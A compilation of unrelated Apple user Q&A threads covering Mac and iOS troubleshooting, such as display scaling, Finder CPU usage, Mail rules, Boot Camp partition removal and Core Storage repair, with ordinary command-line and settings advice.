How can I make windows the same size on my 17" MacBook Pro & 23" HD Cinema Display? I just purchased a new 17" MacBook Pro and I am using it with my 23" Apple HD Cinema Display. I have both displays set to 1920 x 1200 but all the windows and text are smaller on my MacBook Pro. How can I make onscreen elements the same size?

The MacBook Pro has the same number of pixels as the Cinema Display but a smaller area to show them on. That makes the pixels on the MacBook Pro smaller. Since windows and text are a certain number of pixels in size, screens with smaller pixels will make them appear smaller.

The solution is to choose a lower resolution on the screen with smaller pixels (the MBP in your case). Choosing a lower resolution means that each pixel of data will be drawn across multiple physical pixels, making everything bigger.

I can't tell you exactly what resolution to use on your MBP to get things close to the same size, but it shouldn't be hard to find out with a little testing.

Open System Preferences -> Displays and go to the Display tab of the window on your MBP.
Check the Scaled radio button and pick the second resolution on the list that appears. If that isn't big enough, move on to the next (lower) resolution, etc. Stop when you get to one that makes things similar in size across both displays.

Note that, as a result of this, your MBP's display may not look as nice. Things won't look as crisp and some resolutions will have to stretch things sideways.


Reminders app doesn't show badges I have a love-hate relationship with the new Reminders app in iOS 5.

I like how entering new items is made simple and the interface gradually reveals itself as you become more of a power user. Yet it fails at the most fundamental function—to remind me the important stuff that I entered.

How do I enable badges for due items in Reminders? I couldn't find the setting in Notifications preferences.

Does Reminders app support badges at all?

Unfortunately, it doesn't appear to, no: the Reminders app has neither its own  pane in the Settings app, nor any settings accessible in the app itself, and its entry under Notifications doesn't have an option to turn on Badges.

So, at least as of iOS 5.0.1, Reminders doesn't seem to support that feature.

I'm not seriously suggesting you switch apps, but if Badges in a todo app is a killer feature, I've also been a fan of Things.


How do I show if I am the BCC'ed recipient in Mail.app? I recently received an email from a collaborator in which I was the BCC (Blind Carbon Copy).  The original "To:" recipient was another collaborator who has a very similar email address to mine.  Because of the similarity in addresses, and because I didn't see anything indicating I was a BCC (even in the detailed header information), I responded back to the original sender and the "To:" recipient pointing out the "mistake."

Obviously this defeated the whole purpose of being BCC'ed by the original sender.

Is there a way in Mail.app to show if I am the BCC of an email?  I am not interested in seeing other BCC's on emails I receive.  This was on Lion, if that makes any difference.

(Sorry for the lack of screenshots; I'm writing from a Windows machine right now)

Go to Mail > Preferences > Rules

Click "Add Rule"

For Description, enter "BCC"
For the conditions, select "Any Recipient" "Does not contain" and enter your address in the third field
For action, select "Set Color" "of background" "Purple" (or whatever color you chose)
and click OK.

From then on, incoming messages not sent "To:" or "CC:" you will be marked in that color.


I have been asked for my UDID, is there any personal information that will be given away should some have this number? I have been asked my my UDID to beta test apps, is there personal information attached to this number? Such as passwords or account information?

Details about the device, I am running ios7.1 on an ipad 2.

Your UDID can be used to uniquely identify your iOS device. The UDID is often used to associate actions with a specific known user. Using your UDID, developers' may be able to associate your actions and use of their app back to you.

Apple associate private information with your UDID. You are required to trust that Apple  keeps this information private. Hopefully Apple will not sell this information or have it leaked through a security breach. While not highly valuable, if you have privacy concerns consider avoiding participating in beta apps programs.

ArsTechnica has a useful article that discusses the relative risks and uses of the UDID, Ask Ars: What’s the big deal with iPhone UDIDs?


viewing contacts without my iphone in my presence I never forget my Iphone at home and oh course the day I did I need it like emergency status. My boyfriend and I share a car and I have to get out to ventura for my job and need to tell my boss if I can go or not within the next 30min. So I need to get my boyfriends cell number but I don't have it memorized. Is there anyway I can view my contacts thru my email or messanger?

If you store them with an iCloud account you can go to http://iCloud.com/ to see them. Log in with your iCloud/AppleID account information and you can see your contacts on the website.

Similarly, if your iPhone syncs contacts with http://gmail.com/ or http://outlook.com/ or some other provider, you could use a web browsers to log onto your account at that website and see your contacts thusly.


Can I password protect/childproof iPad apps? I have ordered an iPad 2. I was wondering if I could protect applications that I don't want my 7-year old to muck about in.

It's stuff like Mail, Things, Evernote, and perhaps some games not suited for a small child.

I'm OK with paying for it if there are good third party solutions but it should be able to protect any app.

You can't generally password protect specific apps without some jailbreaking I assume, but you can restrict certain things, a few of which I recommend if you are giving it to a young one.
http://support.apple.com/kb/ht4213 Describes the restrictions process, and it lists

You can choose to restrict access to the following applications and features on the device:
Safari,
YouTube,
iTunes,
Ping,
App installation,
App deletion,
Camera,
FaceTime,
Location,
Account changes,
Multiplayer games in Game Center,
Adding friends in Game Center.
In addition, you can choose to prevent access to specific content types:
In-app purchases,
Music and podcasts,
Movies,
TV shows,
Apps.

You can also set iTunes restrictions for content via http://support.apple.com/kb/ht1904, but again, this isn't device specific at the time, it is when you are buying or downloading content from the internet.


Random 100% Finder CPU Usage On One Account Ok guys, here's the deal. Randomly, I wasn't doing anything specific -- my system starts getting sluggish. I checked the activity viewer -- wow, finder is at 150% CPU!

I have scoured the internet for fixes, and franky, I have tried them all (except one -- which I may need help with -- more on that later).

SYSTEM: Snow Leopard with a Mac Pro (Twelve Core 2.66 Westmere)

This is what I have tried and the results:

Trashing com.apple.finder.plist, com.apple.systemuiserver.plist, com.apple.loginwindow.plist. -- NO FIX
Trashing ALL apple.* namespaced .plist files -- NO FIX
Turning off "calculate all sizes" in finder -- NO FIX
Turning off "show view options" in finder -- NO FIX
Disabling all startup items -- NO FIX
Unplugging external hard drives -- NO FIX
Getting rid of all data on desktop. -- NO FIX

However, if I create a new account or use my wife's account -- the FINDER CPU USAGE IS NORMAL.

I analyzed the finders cpu pattern, it goes like this. If active, its always between 70 and 150% cpu usage. If i kill it, and stay 100% idle -- it goes from 0-ish% to 100+% slowly, and the Real Memory column in activity viewer goes from 0mb to ~2gb+ slowly, and when it gets around there, it dies and cycles all over again.

Here's where I need help from people smarter than me in this area. What are some methods I can use to trace what's happening in Finder?

I am pretty new to Mac and this has been a big blow to me -- I am loving the rest of it after being on Windows for over 17 years.

Would appreciate any help I can get!

I am getting the following when I issue the fs-usage -f filesys

18:03:19 getdirentries64 0.000401 W Path Finder
18:03:19 getdirentries64 0.000404 W Path Finder
18:03:19 getdirentries64 0.000340 W Path Finder
18:03:19 getdirentries64 0.000339 W Path Finder
18:03:19 getdirentries64 0.000535 W Finder
18:03:19 getdirentries64 0.000192 W Path Finder
18:03:19 getdirentries64 0.000326 W Path Finder
18:03:19 getdirentries64 0.000462 W Path Finder
18:03:19 getdirentries64 0.000194 W Path Finder
18:03:19 getdirentries64 0.000127 W Path Finder
18:03:19 getdirentries64 0.000410 W Finder
18:03:19 getdirentries64 0.000198 W Path Finder
18:03:19 getdirentries64 0.000600 W Path Finder
18:03:19 getdirentries64 0.000188 W Finder
18:03:19 getdirentries64 0.001019 W Finder
18:03:19 getdirentries64 0.000416 W Path Finder

Any ideas? I disabled path finder after and it still happens, but with just Finder.

First:

consult the Utilities -> Console.app and check your logfiles, for some idea. ;)

Next:

Activity Monitor (also in Utilities) may help shed some light and can tell you what code Finder is busy with and what else is happening at the same time.

Look over the routines when you sample the Finder to see if they make any sense (or at least Finder gets caught in the same code each time to know you have one cause and not many)
What processes are also getting CPU when this happens?
Does this happen when all networks are disconnected?
Are disk activity and network levels higher or lower than normal when this happens?

If Console does not help, you can trace all the network and file usage to see if you can snoop at what Finder and the system is doing:

open Terminal.app
in its preferences change the scroll-back buffer to 10.000+ lines
and enter the next command
sudo fs_usage   #you will need enter the admin password
after a while (10-20 seconds) you can interrupt with CTRL+c
now scroll back and try get some idea - i understand than it is hard, because you will got hundreds lines what are normal...

This will show what files are currently used in the whole OS - maybe you will get some idea, what's happening.

maybe:

HDD error in several sectors - (try check smart-status for your HDD)
bad QuickLook plugin?
remote HDD (iDisk?) timeouts?

UPDATE:

First - if your wife's account is OK - thats can mean,

the problem is "somewhere" bellow your $HOME dir, so it is probably not in /System or /Library, or
the problem is "somewhere" in /System or /Library, but caused by your login (StartupItem or LaunchDaemon or some your Preference setting what use Finder for some work - for example TimeMachine)

Some guessing (but honestly - these are not "advices" only pure guessing)

uninstall PathFinder.
check $HOME/Library/QuickLook folder. if anything is here, try move into ~/Desktop (for temporary) and relog - if not help, move them back - your should relog when moving plugins.
check /Library/QuickLook (let there here only QBQL.., iWork) - don't trash them, only temporary move to desktop and relog.
do you installed any Finder-plugin/hack - something?
try disable TimeMachine - if it is enabled
try eject (umount) all networked drives, and usb drives
have you BootCamp especially with NTFS? - Try exclude it from Spotlight, TimeMachine etc...
try exclude everything from Spotlight (this probably will not help, but for "sure" - your mdworder should stop indexing) (in the SysytemPrefs -> Spotlight -> Privacy - add your whole hdd and bootcamp too.)
disable all sharing (SysPrefs->Sharing)
download Onyx and remove all Caches. (this will cause increased CPU usage while rebuild cache again, but only for short time)
remove ALL .DS_Store (hidden) files - don't worry, they're not essential. Sure exists some GUI tool for this job. If don't find any, you can try this Terminal command.

find "$HOME" -name .DS_Store -print0 | xargs -0 echo

the above is for "dry run" - you can check what will be removed, if satisfied, change the echo to rm

if none of above help (and probably will not :=() have no idea...

bmike? any other idea?


iPhone 3GS Upgrade/Jailbreak/Unlock Help I have a jailbroken iPhone 3GS running iOS 5.0.1 with baseband/bootrom 05.16.02.  I want to upgrade to iOS 5.1.1 but also make my device unlockable.  With that baseband, however, I can no longer unlock my phone.  I know I can install baseband 06.15.00 for the iPad WiFi+3G that Apple bundles with iOS 3.2 to 3.2.2 and then unlock, but that breaks GPS functionality.

However, according to this post it looks like it's now possible to go back to baseband 05.13.04 from 06.15.00, which still allows for unlocking.  But I'm SOOOO confused.

So I install baseband 06.15.00 using a custom ISPW for iOS 3.2 to 3.2.2, jailbreak and unlock with redsn0w, then downgrade baseband from 06.15.00 to 05.13.04 while upgrading iOS 5.0.1 to 5.1.1 all with another custom IPSW, and then re-jailbreak??  Ugh!!  My head is spinning!

I'm unfamiliar baseband, but i've used this site to upgrade/downgrade iDevices in the past.. Simply download the iOS version for your model device, restart iPhone in recovery mode (hold home&power buttons while restarting until it shows the recovery mode screen). Then iTunes takes over for you to install the legit iOS version.

I'd recommend using this method to get your iPhone where you want it version wise, then use whatever jailbreak method you'd prefer to jailbreak it afterward.

Also, if you're simply trying to upgrade this phone to later sell it, then you don't need to jailbreak it to unlock it. AT&T (only one who had the 3GS in USA) said a year ago that if an iPhone is not currently in contract that all you have to do is take it in the store and they'll unlock it for you for free. I hope that helps a little


How to correctly plug an iPhone for charge? An Apple official article for iPhone says:

  When you use the Apple USB Power Adapter to charge iPhone, make sure the USB cable is fully inserted into the power adapter before you plug the adapter into a power outlet.

(from iPhone User Guide at https://help.apple.com/)

This seems to hint that plugging the cable and iPhone before plugging both to the charger has some potential risk?  How so?

Looks like basic guidelines when handling electric devices: The moment with the highest risk of anything going wrong is the moment you plug something into the power outlet (or remove it from there). So it makes a lot of sense of not having your expensive device (the iPhone) already attached to the other end.


Prevent calls to iPhone launching FaceTime on MacBook in Mojave? It used to be (still is on my High Sierra MacBook Pro) all I needed to do was untick "Calls from iPhone" in macOS FaceTime app prefs:

But now (on my Mojave MacBook Air) this seems to do nothing. All incoming phone calls ring on my iPhone and launch and ring on FaceTime on MacBook. Even when my iPhone is in airplane mode.

I'd rather not (because I'd still like to be able to place outgoing calls—and it's not necessary on my older machine), but I also tried disabling "Cellular / Calls on Other Devices / Allow Calls on [Mojave MBA]" (and disabling the entire "Allow Calls on Other Devices", not just the MBA), yet this didn't stop the calls either.

And I've tried rebooting both MacBook and iPhone. And logging out/in of iCloud.

Apple tech support had me reset PRAM, but this did nothing. Anyone else having this trouble?

Try Settings -> Phone -> Calls on Other Devices -> turn it off


Prevent Finder to launch on boot I do not need Finder because I use Ranger in CLI and I manually quit it (I added the quit option) each time I boot (mainly not to have it in the way when I use to switch applications with cmd + tab).

If it's not possible, an alternative would be to quit it from the terminal and I would do a script that is launched on boot. But after "killall Finder", Finder relaunch automatically.

Just disable the LaunchAgent com.apple.finder at /System/Library/LaunchAgents/

with sudo launchctl unload -w /System/Library/LaunchAgents/com.apple.Finder.plist and Finder shouldn't launch at all.

Depending on your system this might not be successful. Then download, install and open LaunchControl. Navigate to System Agents -> com.apple.Finder and highlight it. In the menubar choose Job -> Unload. Then hit the radio button next to com.apple.Finder and disable it.


Finding iPad games that can be played over the internet What is the best way to find new iPad games that can be played over the internet? (Not splitscreen, not bluetooth, not WiFi, only the ones that can be played over larger distances)

(I know there are a lot of game review sites out there, but none of them seems to have the filter options I need.) The answer could be a set of search terms I could use, or a review site, but I'm looking for a source to find these games.

Go to Game Center.

Select the Games section.

You will see the "Find More Games" button there.

Or open App Store>Games>Game Center to see a list of Internet based multiplayer games.


OmniGraffle: How to make line terminators connect to Center of objects, not to the edges of the objects? The following image illustrates the problem I am trying to solve with formatting when connecting lines to objects to OmniGraffle.

When I use lines, with "Filled Center Ball" terminators to connect the two empty circles, the lines run from center to center, yet the the terminators always  at the edge of the circle, as seen in the middle drawing, and never over the center of the connected objects.
I am wanting the terminator to terminate at the center of the circles, rather than the edges,  as shown in the 3rd drawing.
Obviously, I can produce these (since you see a pair in the third drawing) by setting the end connectors to none, and then creating additional, slightly smaller black circles and pasting them on the center of the other circles.
I imagine that there is some way to force the ball connector lines to be centered over the center point of the circles, not the edge, but I can't find any description of how to do that.
Can you help?

You can use the magnet editor to create a magnet wherever you want on the object.  Luckily, the center of objects is a natural "snap to" location for the magnet.
Once you have a magnet set in the center, you can easily terminate your lines at that magnet.
Tedious, yes.  But, possible.


How can you sync "learned spellings" between Macs OSX always tries to autocorrect the the unix commands that I save into my note taking application.

To prevent this, I right click and tell OSX to "Learn Spelling".

Is there a way to teach this spelling to all my Mac's? Ideally using iCloud or dropbox.

The spellings are located in various files in ~/Library/Spelling. Namely, LocalDictionary and various localisation files such as en_GB. You can sync this entire folder using a sync method of your choice.

To sync via iCloud, symlink the folder to/from a folder in ~/Library/Mobile Documents.
To sync via Dropbox, symlink the folder to/from a folder in your Dropbox.


Will an external 4K monitor cause performance issues on my MacBook Pro? I'm looking to buy a 27" display for my MacBook Pro
(2017 | 15.4-inch 2880 x 1800 | Intel HD Graphics 630 1536 MB graphics)

I am considering a 4K display, but I've read in multiple places that scaling can cause performance issues. (This article explains the issue: https://bjango.com/articles/macexternaldisplays/)

Will this be an issue with my MacBook?

I am using a Macbook pro 13 2015 with a 4K 27 inch display, and definitely having performance issues when I use it in one of the scaled resolutions (e.g., 2560x1440, 2304x1296, 3008x1692..). When used in "Default for display" mode, which is an equivalent of 1920x1080 UI resolution, performance is great.
According to specs of 2015 Macbook pro 13, the limit is to drive a 4K display at 3840x2160 resolution. When Macbook pro is used in any of the scaled resolutions, internally, GPU renders a canvas which is much bigger than the actual 4K resolution, and then downscales it to 4K. This puts real burden on performance.
The performance hit shows itself as stuttering animations on mission control window animations, with addition of fans spinning on higher RPMs.
However, when I look at specs of 2017 Macbook Pro 15.4 which is listed here, I can see that it can properly drive two 5K resolutions simultaneously. Therefore, if you use 2560x1440 scaling on 27 inch 4K monitor, we could expect that its GPU would easily render the 5K canvas, then downscale it to 4K native resolution without any problems.
This was the elaboration about performance. From sharpness point of view, 2560x1440 scaled resolution would be just a bit softer than the exact pixel doubled 1920x1080 mode, however, if you look at a proper distance (greater than 53 cm according to this site), you won't notice too much difference. 2304x1296 scaled resolution works even greater, because text is a bit bigger.
If you accept to spend more money and if you can find one, the LG Ultrafine 4K or 5K displays from Apple would be the best, because you would be able to use them in exact pixel doubled mode, which gives sharpest image and best performance. However, with much less price, and some acceptable performance penalty, you could as well live with a 27 inch 4K display from other manufacturers. Just be sure to get a model which has less compatibility problems with Mac.
You can also have a look at my answer to a similar question here.


Prevent users from unchecking "require password to wake computer from sleep or screen saver" I've recently been given the task of securing a small network. One of the things we want to have happen is to have the computers lock down after a period of inactivity.

The easy thing for this, of course, is to require a password after the computer goes to sleep or the screen saver starts. The only problem is that I have users unchecking this, as it's a user preference (they don't need to authenticate as an admin to turn it off).

I know I can log them out after a period of inactivity, but that closes all files and programs and is a bit more of a pain for everyone. If I could just have the password prompt all the time, we'd be satisfied.

Is there a way to make the user preference "require password to wake computer from sleep or screen saver" only editable to an admin account?

The clients in question are using 10.5.8.

Thank you for any help you can provide.

Although I have concerns about recommending this solution, you can change the access permissions for the Security (or Security & Privacy) preferences pane itself so that only the Administrator account, or members of the Administrator group, will be able to open that pane.
[ᔥ Owen Linzmayer: Require Password to Wake 2005]

I want to emphasize that I have not fully tested this solution and that you should proceed with caution and do your own testing  before implementing it across an entire production environment. It seems innocuous enough, but experience has taught me that changes in places that Apple does not intend you control can sometimes have consequences.

You can set permissions for the pane using the terminal, or by navigating to the /System/Library/PreferencePanes folder:

Selecting the Security pane file:

do a Get Info using the menu, contextual menu or ⌘ + i and change the permissions for everyone to no access. You will most likely have to click the lock in the lower-right-hand corner and authenticate with your administrator password before you can edit the permissions.


Force to install a software on older macos version is there a way for force the installation of a package to non supported version of macOS? Theorically there aren't problem of performances in this case.
I've read that in some case is possibile to modify the file Info.plist a (How to open applications regardless of required version?) but doesen't work.

Any suggestion? :)

Your best bet is a Virtual Machine using VMWare or Parallels, as historystamp suggested.

In most cases, if the app won't install on a given version of macOS, there's probably a good reason for it. I wouldn't be surprised if it failed to run even if you managed to get it running.

That being said, if you are determined to try, there are two free tools to help:

unpkg
Suspicious Package

Both will let you “extract” the contents of a package file. From there you can move them into the proper places and see if it runs.


Audio Devices: Hardware Rate Converter Audio MIDI Setup -> Audio Devices -> Built-in Input has four configurable audio parameters:

Sample Rate
Sample Size
Channel Volume
Hardware Rate Converter

The Hardware Rate Converter has three options:

Automatic
Enable
Disable

This "Hardware Rate Converter" has basically no google presence. Having a decent understanding of digital audio I can infer what these three options will do, but I don't feel confident knowing what the specific correlation is between these options and the actual bits being processed by my mac on input.

So. Where can I find general specs on this thing? I'll settle for just knowing what (if any) latency these three options incur.

Macbook Pro 10.7.3 (11D50)

15-inch, 2.53GHz, Mid 2009

2.53 GHz Intel Core 2 Duo

Memory 4 GB 1067 MHz DDR3

Intel High Definition Audio, Audio ID: 76

Apple has documentation for this in Mountain Lion.

  If your computer contains support for the hardware sample rate converter, the Hardware Rate Converter pop-up menu is available in the Input menu. When you choose Automatic from the pop-up menu, the hardware sample rate converter is turned on if the audio samples coming in are PCM and formatted according to the international standard IEC 60958-3. The hardware sample rate converter is turned off if the input stream is encoded. You can also choose Enable or Disable from the menu to keep the hardware sample rate converter turned on or off.

So this would only be useful if you have something like a S/PDIF input and wanted the audio converted to a different digital rate.  I don't have any specs on it, but I would expect the hardware rate converter to have very low latency compared to software rate conversion.


How to make a playable DVD iso from a VIDEO_TS folder? I used to have a script that converts a VIDEO_TS folder into an ISO that plays ok in VLC but it's gone.

Anyway, this command gets me most of the way there:

hdiutil makehybrid -udf -udf-volume-name $folder -o $fullpath.iso $fullpath

Except that when I tried it on one DVD, it skips the menu selection. Is this likely a problem with the one DVD I tried or do I need a different tool / different options to get the menu to render properly?

just tried this on several VIDEO_TS and works perfectly.

hdiutil makehybrid -iso -joliet -udf -udf-volume-name $folder -o $fullpath.iso $fullpath

ps. I've never found out how to make ISOs out of VIDEO_TS using handbrake. I don't think this is possible.


Unable to ping DNS any external IP address after reformat and fresh installation of macOS Catalina I have just completed a reformat and fresh installation of macOS Catalina (10.15.7) on my 2012 Macbook so it can be passed on.  The Internet is not working, though.
An identical 2012 Macbook is working fine as are other machines on the same network, so we assume our Internet is OK. We have checked the network cable on the other 2012 Mac - it is working.  The problem exists regardless of whether it is cabled or Wi-Fi.  On the machine in question:

ifconfig returns an IP address and the correct gateway.
Other machines on the LAN can ping the problem machine.
All settings (other than appropriate MACs/IPs) are identical to the other 2012 Mac which is working ok.
The router/gateway IP can be pinged.
The external IP address provided by our ISP and as identified on the router/gateway can also be pinged.
Neither of the DNS addresses provided by our ISP can be pinged.
Neither of the Google DNS IPs can be pinged 8.8.8.8 or 8.8.4.4
Time and date are correct.
nslookup www.apple.com 8.8.8.8 times out with the response no servers could be reached.  Local windows machine returns a result.
I have tried turning it on and off again.

UPDATE

Problem machine works fine on my phone hotspot.
It can reach the Router admin page.
Restarting the router doesn't help and firmware is up to date.
BUT unplugging the router does!

I’ve been in your shoes and it’s so hard to go back to the basics.  If a computer can open the web page of the local router or another computer on the internal network - fix your router (after powering it down completely and all network gear to get a fresh start) or find a new network to test is my advice.

If you can ping a router but not past the router - that's a router problem.
If you can reach http on the router or locally but not past the router, that's a router problem.
Networking is fiddly and hard - try to use DHCP and flat settings and fix the network so client setup is automatic and easy.

But, since we love to test and fix - here's my playbook for working with cranky networks. (Or worse, machines all in odd states from people that were well intentioned, but ended up breaking the network settings or diverging from what is needed on a specific network).

Make a new admin account and delete everything network related. All interfaces, all adapters, all settings. Put nothing in the keychain of the new account and delete all other accounts on the Mac.
Set everything to DHCP or connect to a cell phone WiFi hotspot.
Open Safari and browse to captive.apple.com
Focus on http and not ping - ICMP traffic is heavily filtered and dropped from some networks.
Don’t try to overcome the first error you get, but learn why it failed. You shouldn't need to override DNS or bypass the router - the problem is your router, not the OS.

Pretty much the only thing I would do is issue a reachable command from the command line.
scutil -r www.apple.com
scutil -r www.google.com

If the web doesn't work to basic properties, get a network that is appropriate for testing - you wouldn't have to carry all that water you tried to debug a new OS setup - something is very off on the network to need all that.


HDCP with Mac Mini and an external monitor If I attempt to play movies on the TV app or Disney+ through the browser I am getting the following error:

This is with a newish LG 5K monitor connected to a 2018 MacMini via Thunderbolt.
Interestingly Disney+ works fine if I reboot into Windows via Bootcamp which tends to indicate the hardware is OK.

@jaume was correct, you want to use an HDMI cable if possible.
More information about High-bandwidth Digital Content Protection (HDCP)


How to remotely control iPhone 6 which dropped and right side screen is not working I dropped my iPhone 6 and the right side of the screen is black. I cannot type there, I can't activate my Wi-Fi access and data access. I need it to turn this on. Is there a way to remotely control the iPhone from my laptop?

Turn your phone sideways and use landscape mode. If you are using the software switch you won't be able to do this as it's on the right side of the screen.

If that is the case, connect the phone to iTunes, make a local backup, and take it in for servicing. Either a new screen or a new phone. When you get it back, reconnect to iTunes and restore from backup. Everything will be the same as before.


How can I delete photos imported to an iPhone from a PC? How do I delete photo albums that I accidentally imported to my iPhone 4S from my PC? There is no delete available for either album or individual pictures.

Open iTunes and select your device by clicking the device button in the top-right.

If no device button is shown, make sure your device is connected (whether by USB or iTunes Wi-Fi Sync).
Select the Photos tab.

There should be a list of sources that you can sync from.
Uncheck the albums that you don't want syncing to your device.

Alternatively, uncheck the Sync Photos to remove all imported photos from your device.
Click Apply (or Sync) to sync the changes to your device.


How can I move Macintosh HD out of container disk1? I had partitioned my hard drive for Windows to be ran on it through Bootcamp. Everything was working okay, I could run in MacOSX or Windows. After I installed macOS High Sierra I began to have issues. When I was in Windows it would not find the MacOS disk. I was only able to load into OS by restarting Windows and holding down the 'option' key.
I loaded MacOS, then deleted the Windows Partition. Now my disk looks like this:

My diskutil list reads:

Macintosh HD is under a container disk, I have a bootcamp that cannot be used, and I have OSXRESERVED that I do not know what it is for. How can I delete OSXRESERVED, BOOTCAMP, and move Macintosh HD out of container disk1?

A couple of misconceptions to clarify first:

It is correct that Macintosh HD is in a container, since it is an APFS volume since High Sierra. This is the title of your question, so the answer is here first. It is not possible to move an APFS volume out of any container. It is correct that the startup volume, an APFS volume, is within an APFS container.
It is correct that Windows cannot see Macintosh HD any more. Apple have not provided APFS drivers for Windows and the Boot Camp Control Panel cannot see Macintosh HD.

With that out of the way, we can deal with removing Boot Camp. Make sure you have a backup.

You should be able to open Boot Camp Assistant and choose Remove Windows.
This automates the process for you.

Alternatively with Disk Utility:

In Disk Utility, select APPLE SSD. Click the Partition button on the toolbar.
You should see a pie chart of the partitions on your disk. Select BOOTCAMP and click the – button to remove it from the pie. Repeat this for OSXRESERVED.
Expand the size of the container (Macintosh HD) to fill the rest of the disk, otherwise you will be left with free space not assigned to any partition.
Confirm that the rest of the disk partitions look correct, then choose Apply.


Do dynamic wallpapers drain battery? Is it true that using a dynamic wallpaper will drain the battery faster than a still wallpaper? If so, how much faster does it drain?

(I'm using an iPad Air running on iOS 7.1)

In general, dynamic wallpapers drain the battery faster than still wallpapers. The amount of drainage is dependent on the wallpaper itself (whether it has many bright colors, is graphic intensive) and how it's programmed (CPU and memory usage, etc.). There are ones that are better than others. Also, how often are you on your home screen where you see that wall paper? Obviously it will only affect you battery life if it is on the screen, so if you are using apps all the time you should see virtually no difference. I would suggest experimenting with your iPad's battery life with a dynamic wallpaper and without, and see how they vary with your usage.


New Battery: Runs out at "10% left" I installed a new Apple battery in my MacBook Pro (13-inch, Late 2011) myself (bought the battery new from iFixIt).

Installation worked great, extra 4 hours of battery life - fantastic.

Then I decided to get all smarty-pants and "recalibrate the battery".  I let the battery run empty, and the system entered "deep sleep"/"hibernation" mode as expected.

THEN I broke it when I did an SMC reset, as found here.

Ever since the SMC reset, when my battery meter in the menu bar gets to ~9%, the system completely shuts off without warning.  No hibernation, nothing - complete power off.

Can anyone tell me how to get the system to properly recognize that the battery is almost dead, so it enters deep-sleep as it used to?

Things I've tried: Resetting SMC again, running battery dead and charging back to full.
Battery Charge Cycle counts looks normal; here are possibly relevant specs form system profiler:

Battery Info > Charge Information:

Full Charge Capacity (mAh): 5683
Health Information:
Cycle Count:    100
Condition:  Normal

System Power Settings > Battery

Hibernate Mode: 7
Reduce Brightness:  Yes
Standby Delay:  4200
Standby Enabled:    0

If a new battery doesn’t work with your hardware - I would return it to the vendor or seek service. Some aftermarket batteries may not work properly and the failure you describe isn’t likely to be something you (or any technician) messed up with cabling or connectors not seated.

When you reset the SMC it perhaps did a full read of the battery details and something isn’t correct for it’s code to predict when to send the low voltage / low charge warnings and begin an orderly shutdown.

This failure mode is different than the shutting off too high a remaining change - but it could be the same fix - get another battery.

Battery on white MacBook shuts off abruptly after 30% charge is left


How do I mirror my hard drive? How do I mirror my hard drive?  I want to preserve programs for which I've lost the license number.

Generally speaking to "mirror" a hard drive often means setting up a RAID where one drive mirrors the other. This is done using either the RAID software built into Disk Utility or 3rd party RAID software.

The benefits of that is that each drive is a duplicate of the other and if one fails the other disk has all your valuable data. The "problem" is that you generally cant set up RAID across a USB or Thunderbolt bus (that I am aware of). So if you have a Mac with one internal drive you can't set up a RAID between the internal and an external drive.

You can also use a utility like SuperDuper, Carbon Copy Cloner (and others) to make a bootable duplicate of your HD, essentially making a mirror copy of the drive, just not done in real time like a RAID mirror would.

Both of those applications can be scheduled to run on a regular basis (hourly, daily, weekly, etc.) and copy only the changed files to the backup drive.

I use SuperDuper to do just this and it is scheduled to run every other day automatically. It connects to another Mac that is always on, mounts a disk image and backs up the changed files.


Entering Passcode too quickly? Is there a setting or a way to have the phone accept the passcode more quickly?
The Problem:
My passcode is greater than 8 characters.  I've entered it enough times that I've become quite efficient at it.  The phone can't seem to keep up. After several attempts at ever decreasing speeds, I have to enter it at what seems 1 character per second.
To make sure that it's not me, we recorded me tapping in my passcode at a quick pace.  I tapped each number correctly.  Each tap highlighted the number and there was an audible "keyboard click".  The phone did not accept the correct passcode.  Entering the exact same passcode at a much slower rate, the phone accepted it.
Can this behavior from the phone be adjusted?
The phone is an iPhone 7S running IOS 13, not jailbroken.

I have the exact same problem. I don't see any way of adjusting or fixing this unfortunately. We just have to wait for Apple to fix this in a future release.


Need Help Fixing Partitioning after Deleting Core Storage Booter and Windows I know there is a plenty on the Internet, but I am afraid to touch it since the data on my partition is valuable for me now.

My situation:

I have MacBook Air with OS Yosemite 2011 11" (128G).

I wanted to create a dual-boot configuration (MacOS + Windows) and succeeded. (I did following protective MBR creation manual somewhere on the net).
After a while, Windows started consuming too much space, so I decided to re-install it with a lighter build.

What happened is that I dropped the partition (600 MB) in Windows installer in order to re-map the space, and LOST ability to boot in MacOS.

( Originally, I thought it was Microsoft Reserved partition, but the answer below suggested it was "booter" partition. )

I did restore the boot by installing rEFInd to EFI drive.

Currently, MacOS partition is not visible if I press "Options" key, but it still boots up thankfully to EFI boot.

Trying to remap the drive, I did drop all Windows partitions in order to put that space back to MacOS one.

The issue is that now I can not edit partitions via DiskUtility (the one with GUI) - it just simply does nothing when I try to modify them. It shows gray circle at the beginning of "MBR" space.

My output of diskutil list is following (there is an interesting thing that record for GPT and MBR for MacOS partition is different: 51.2GB versus 50.8GB, that has happened because I did merge dropped 600MB with MacOS partition via DiskUtility):

mes-MacBook-Air:~ me$ sudo diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *121.3 GB   disk0
   1:                        EFI EFI                     314.6 MB   disk0s1
   2:          Apple_CoreStorage                         51.2 GB    disk0s2
/dev/disk1
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:                  Apple_HFS MacOS                  *50.8 GB    disk1
                                 Logical Volume on disk0s2
                                 84A33FDC-BA63-43B5-A43F-E4BF61D0830A
                                 Unencrypted

$ sudo gpt -r show /dev/disk0
    start         size  index  contents
        0            1         PMBR
        1            1         Pri GPT header
        2            4         Pri GPT table
        6        76800      1  GPT part - C12A7328-F81F-11D2-BA4B-00A0C93EC93B
    76806     12500474      2  GPT part - 53746F72-6167-11AA-AA11-00306543ECAC
 12577280     17044987
 29622267            4         Sec GPT table
 29622271            1         Sec GPT header

Help me out to put the space back and merge it back into one.
Or guide me to the good source on the topic if I ask too much.

Thank you people.

You deleted too many partitions. You deleted the booter partition used to boot Yosemite.

Normally, the command given below would be used to reclaim the missing space.

diskutil cs resizestack 84A33FDC-BA63-43B5-A43F-E4BF61D0830A 0

However, if you issue this command, I would assume you would get an error message similar to what is shown below. The error is due to the missing booter partition and is not due to the target partition being too small.

Error: -69722: You can't perform this resize unless it has a booter (target partition is probably too small)

I am not sure if you can revert the Core Storage volume. You would have had to include the output from the command disktuil cs list in order for me to determine this.

You could try entering the command given below. This attempts to change the Yosemite volume to "Mac OS Extended (Journaled)". If successfully, you should be able to view Yosemite in the Startup Manager.

diskutil cs revert 84A33FDC-BA63-43B5-A43F-E4BF61D0830A

If unsuccessful, you will probably need to reinstall Yosemite. If successful, you can post a new question asking how to proceed.


